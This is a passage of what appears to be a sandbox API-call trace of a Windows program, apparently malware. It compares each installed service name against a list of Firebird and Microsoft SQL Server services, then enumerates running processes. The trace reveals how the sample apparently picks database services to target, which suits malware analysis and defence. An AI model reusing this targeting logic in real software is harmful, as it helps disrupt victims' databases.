lpString2="DeviceAssociationService") returned 1 [0264.433] lstrcmpiW (lpString1="mssqlserver", lpString2="DeviceAssociationService") returned 1 [0264.433] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DeviceAssociationService") returned 1 [0264.433] lstrlenW (lpString="Dhcp") returned 4 [0264.433] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1 [0264.433] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1 [0264.433] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1 [0264.433] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1 [0264.434] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1 [0264.434] lstrlenW (lpString="Dnscache") returned 8 [0264.434] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1 [0264.434] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1 [0264.434] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1 [0264.434] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1 [0264.434] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1 [0264.434] lstrlenW (lpString="DPS") returned 3 [0264.434] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1 [0264.434] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1 [0264.434] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1 [0264.434] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1 [0264.434] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1 [0264.434] lstrlenW (lpString="DusmSvc") returned 7 [0264.434] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DusmSvc") returned 1 [0264.434] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DusmSvc") returned 1 [0264.434] lstrcmpiW (lpString1="sqlwriter", lpString2="DusmSvc") returned 1 [0264.434] lstrcmpiW (lpString1="mssqlserver", lpString2="DusmSvc") returned 1 [0264.434] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DusmSvc") returned 1 [0264.434] lstrlenW (lpString="EventLog") returned 8 [0264.434] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventLog") returned 1 [0264.434] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventLog") returned 1 [0264.434] lstrcmpiW (lpString1="sqlwriter", lpString2="EventLog") returned 1 [0264.434] lstrcmpiW (lpString1="mssqlserver", lpString2="EventLog") returned 1 [0264.434] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventLog") returned 1 [0264.434] lstrlenW (lpString="EventSystem") returned 11 [0264.434] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1 [0264.435] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1 [0264.435] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1 [0264.435] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1 [0264.435] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1 [0264.435] lstrlenW (lpString="FontCache") returned 9 [0264.435] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="FontCache") returned -1 [0264.435] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="FontCache") returned -1 [0264.435] lstrcmpiW (lpString1="sqlwriter", lpString2="FontCache") returned 1 [0264.435] lstrcmpiW (lpString1="mssqlserver", lpString2="FontCache") returned 1 [0264.435] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="FontCache") returned 1 [0264.435] lstrlenW (lpString="gpsvc") returned 5 [0264.435] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1 [0264.435] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1 [0264.435] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1 [0264.435] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1 [0264.435] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1 [0264.435] lstrlenW (lpString="iphlpsvc") returned 8 [0264.435] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1 [0264.435] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1 [0264.435] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1 [0264.435] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1 [0264.435] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1 [0264.435] lstrlenW (lpString="KeyIso") returned 6 [0264.435] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="KeyIso") returned -1 [0264.435] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="KeyIso") returned -1 [0264.435] lstrcmpiW (lpString1="sqlwriter", lpString2="KeyIso") returned 1 [0264.435] lstrcmpiW (lpString1="mssqlserver", lpString2="KeyIso") returned 1 [0264.436] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="KeyIso") returned 1 [0264.436] lstrlenW (lpString="LanmanServer") returned 12 [0264.436] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1 [0264.436] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1 [0264.436] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1 [0264.436] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1 [0264.436] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1 [0264.436] lstrlenW (lpString="LanmanWorkstation") returned 17 [0264.436] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0264.436] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0264.436] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1 [0264.436] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1 [0264.436] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1 [0264.436] lstrlenW (lpString="lfsvc") returned 5 [0264.436] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lfsvc") returned -1 [0264.436] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lfsvc") returned -1 [0264.436] lstrcmpiW (lpString1="sqlwriter", lpString2="lfsvc") returned 1 [0264.436] lstrcmpiW (lpString1="mssqlserver", lpString2="lfsvc") returned 1 [0264.436] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lfsvc") returned 1 [0264.436] lstrlenW (lpString="lmhosts") returned 7 [0264.436] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1 [0264.436] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1 [0264.436] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1 [0264.436] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1 [0264.436] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1 [0264.436] lstrlenW (lpString="LSM") returned 3 [0264.436] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LSM") returned -1 [0264.436] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LSM") returned -1 [0264.437] lstrcmpiW (lpString1="sqlwriter", lpString2="LSM") returned 1 [0264.437] lstrcmpiW (lpString1="mssqlserver", lpString2="LSM") returned 1 [0264.437] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LSM") returned 1 [0264.437] lstrlenW (lpString="MpsSvc") returned 6 [0264.437] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1 [0264.437] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1 [0264.437] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1 [0264.437] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1 [0264.437] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1 [0264.437] lstrlenW (lpString="NcbService") returned 10 [0264.437] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NcbService") returned -1 [0264.437] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NcbService") returned -1 [0264.437] lstrcmpiW (lpString1="sqlwriter", lpString2="NcbService") returned 1 [0264.437] lstrcmpiW (lpString1="mssqlserver", lpString2="NcbService") returned -1 [0264.437] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NcbService") returned 1 [0264.437] lstrlenW (lpString="netprofm") returned 8 [0264.437] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1 [0264.437] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1 [0264.437] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1 [0264.437] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1 [0264.437] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1 [0264.437] lstrlenW (lpString="NgcSvc") returned 6 [0264.437] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NgcSvc") returned -1 [0264.437] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NgcSvc") returned -1 [0264.437] lstrcmpiW (lpString1="sqlwriter", lpString2="NgcSvc") returned 1 [0264.437] lstrcmpiW (lpString1="mssqlserver", lpString2="NgcSvc") returned -1 [0264.438] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NgcSvc") returned 1 [0264.438] lstrlenW (lpString="NlaSvc") returned 6 [0264.438] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1 [0264.438] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1 [0264.438] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1 [0264.438] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1 [0264.438] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1 [0264.438] lstrlenW (lpString="nsi") returned 3 [0264.438] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1 [0264.438] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1 [0264.438] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1 [0264.438] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1 [0264.438] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1 [0264.438] lstrlenW (lpString="PcaSvc") returned 6 [0264.438] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1 [0264.438] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1 [0264.438] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1 [0264.438] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1 [0264.438] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1 [0264.438] lstrlenW (lpString="PlugPlay") returned 8 [0264.438] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1 [0264.438] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1 [0264.438] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1 [0264.438] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1 [0264.438] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1 [0264.438] lstrlenW (lpString="Power") returned 5 [0264.438] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1 [0264.438] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1 [0264.439] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1 [0264.439] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1 [0264.439] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1 [0264.439] lstrlenW (lpString="ProfSvc") returned 7 [0264.439] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1 [0264.439] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1 [0264.439] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1 [0264.439] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1 [0264.439] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1 [0264.439] lstrlenW (lpString="RpcEptMapper") returned 12 [0264.439] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1 [0264.439] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1 [0264.439] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1 [0264.439] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1 [0264.439] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1 [0264.439] lstrlenW (lpString="RpcSs") returned 5 [0264.439] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1 [0264.439] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1 [0264.439] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1 [0264.439] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1 [0264.439] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1 [0264.439] lstrlenW (lpString="SamSs") returned 5 [0264.439] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1 [0264.439] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1 [0264.439] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1 [0264.439] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1 [0264.439] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1 [0264.439] lstrlenW (lpString="Schedule") returned 8 [0264.439] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1 [0264.439] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1 [0264.440] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1 [0264.440] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1 [0264.440] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1 [0264.440] lstrlenW (lpString="SecurityHealthService") returned 21 [0264.440] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SecurityHealthService") returned -1 [0264.440] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SecurityHealthService") returned -1 [0264.440] lstrcmpiW (lpString1="sqlwriter", lpString2="SecurityHealthService") returned 1 [0264.440] lstrcmpiW (lpString1="mssqlserver", lpString2="SecurityHealthService") returned -1 [0264.440] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SecurityHealthService") returned 1 [0264.440] lstrlenW (lpString="SENS") returned 4 [0264.440] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1 [0264.440] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1 [0264.440] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1 [0264.440] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1 [0264.440] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1 [0264.440] lstrlenW (lpString="ShellHWDetection") returned 16 [0264.440] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1 [0264.440] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1 [0264.440] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1 [0264.440] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1 [0264.440] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1 [0264.440] lstrlenW (lpString="Spooler") returned 7 [0264.440] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1 [0264.440] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1 [0264.440] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1 [0264.440] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1 [0264.440] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1 [0264.440] lstrlenW (lpString="StateRepository") returned 15 [0264.440] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="StateRepository") returned -1 [0264.440] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="StateRepository") returned -1 [0264.441] lstrcmpiW (lpString1="sqlwriter", lpString2="StateRepository") returned -1 [0264.441] lstrcmpiW (lpString1="mssqlserver", lpString2="StateRepository") returned -1 [0264.441] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="StateRepository") returned -1 [0264.441] lstrlenW (lpString="SysMain") returned 7 [0264.441] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1 [0264.441] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1 [0264.441] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1 [0264.441] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1 [0264.441] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SysMain") returned -1 [0264.441] lstrlenW (lpString="SystemEventsBroker") returned 18 [0264.441] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SystemEventsBroker") returned -1 [0264.441] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SystemEventsBroker") returned -1 [0264.441] lstrcmpiW (lpString1="sqlwriter", lpString2="SystemEventsBroker") returned -1 [0264.441] lstrcmpiW (lpString1="mssqlserver", lpString2="SystemEventsBroker") returned -1 [0264.441] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SystemEventsBroker") returned -1 [0264.441] lstrlenW (lpString="Themes") returned 6 [0264.441] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Themes") returned -1 [0264.441] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Themes") returned -1 [0264.441] lstrcmpiW (lpString1="sqlwriter", lpString2="Themes") returned -1 [0264.441] lstrcmpiW (lpString1="mssqlserver", lpString2="Themes") returned -1 [0264.441] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Themes") returned -1 [0264.441] lstrlenW (lpString="tiledatamodelsvc") returned 16 [0264.441] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="tiledatamodelsvc") returned -1 [0264.441] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="tiledatamodelsvc") returned -1 [0264.441] lstrcmpiW (lpString1="sqlwriter", lpString2="tiledatamodelsvc") returned -1 [0264.441] lstrcmpiW (lpString1="mssqlserver", lpString2="tiledatamodelsvc") returned -1 [0264.593] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4078460 | out: hHeap=0x630000) returned 1 [0264.593] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x1284 [0264.601] Process32FirstW (in: hSnapshot=0x1284, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0264.602] Process32NextW (in: hSnapshot=0x1284, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6a, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0264.603] lstrlenW (lpString="System") returned 6 [0264.603] Process32NextW (in: hSnapshot=0x1284, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x144, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0264.604] lstrlenW (lpString="smss.exe") returned 8 [0264.605] Process32NextW (in: hSnapshot=0x1284, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x19c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x194, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0264.605] lstrlenW (lpString="csrss.exe") returned 9 [0264.606] Process32NextW (in: hSnapshot=0x1284, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x194, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0264.606] lstrlenW (lpString="wininit.exe") returned 11 [0264.607] Process32NextW (in: hSnapshot=0x1284, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x1e4, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0264.607] lstrlenW (lpString="csrss.exe") returned 9 [0264.607] Process32NextW (in: hSnapshot=0x1284, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x234, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1e4, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0264.608] lstrlenW (lpString="winlogon.exe") returned 12 [0264.608] Process32NextW (in: hSnapshot=0x1284, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x250, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1ec, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0264.609] lstrlenW (lpString="services.exe") returned 12 [0264.610] Process32NextW (in: hSnapshot=0x1284, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x258, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x1ec, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0264.610] lstrlenW (lpString="lsass.exe") returned 9 [0264.611] Process32NextW (in: hSnapshot=0x1284, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x234, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0264.611] lstrlenW (lpString="fontdrvhost.exe") returned 15 [0264.612] Process32NextW (in: hSnapshot=0x1284, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2b8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1ec, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0264.612] lstrlenW (lpString="fontdrvhost.exe") returned 15 [0264.613] Process32NextW (in: hSnapshot=0x1284, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0264.614] lstrlenW (lpString="svchost.exe") returned 11 [0264.614] Process32NextW (in: hSnapshot=0x1284, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x318, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0264.615] lstrlenW (lpString="svchost.exe") returned 11 [0264.615] Process32NextW (in: hSnapshot=0x1284, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x364, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x234, pcPriClassBase=13, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0264.616] lstrlenW (lpString="dwm.exe") returned 7 [0264.616] Process32NextW (in: hSnapshot=0x1284, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x37, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0264.617] lstrlenW (lpString="svchost.exe") returned 11 [0264.617] Process32NextW (in: hSnapshot=0x1284, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1e, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0264.618] lstrlenW (lpString="svchost.exe") returned 11 [0264.618] Process32NextW (in: hSnapshot=0x1284, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0264.619] lstrlenW (lpString="svchost.exe") returned 11 [0264.619] Process32NextW (in: hSnapshot=0x1284, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x58, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0264.620] lstrlenW (lpString="svchost.exe") returned 11 [0264.620] Process32NextW (in: hSnapshot=0x1284, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x39c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x26, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0264.621] lstrlenW (lpString="svchost.exe") returned 11 [0264.621] Process32NextW (in: hSnapshot=0x1284, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x434, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x17, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0264.622] lstrlenW (lpString="svchost.exe") returned 11 [0264.622] Process32NextW (in: hSnapshot=0x1284, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0264.623] lstrlenW (lpString="svchost.exe") returned 11 [0264.623] Process32NextW (in: hSnapshot=0x1284, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x518, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0264.624] lstrlenW (lpString="svchost.exe") returned 11 [0264.624] Process32NextW (in: hSnapshot=0x1284, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x520, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x250, 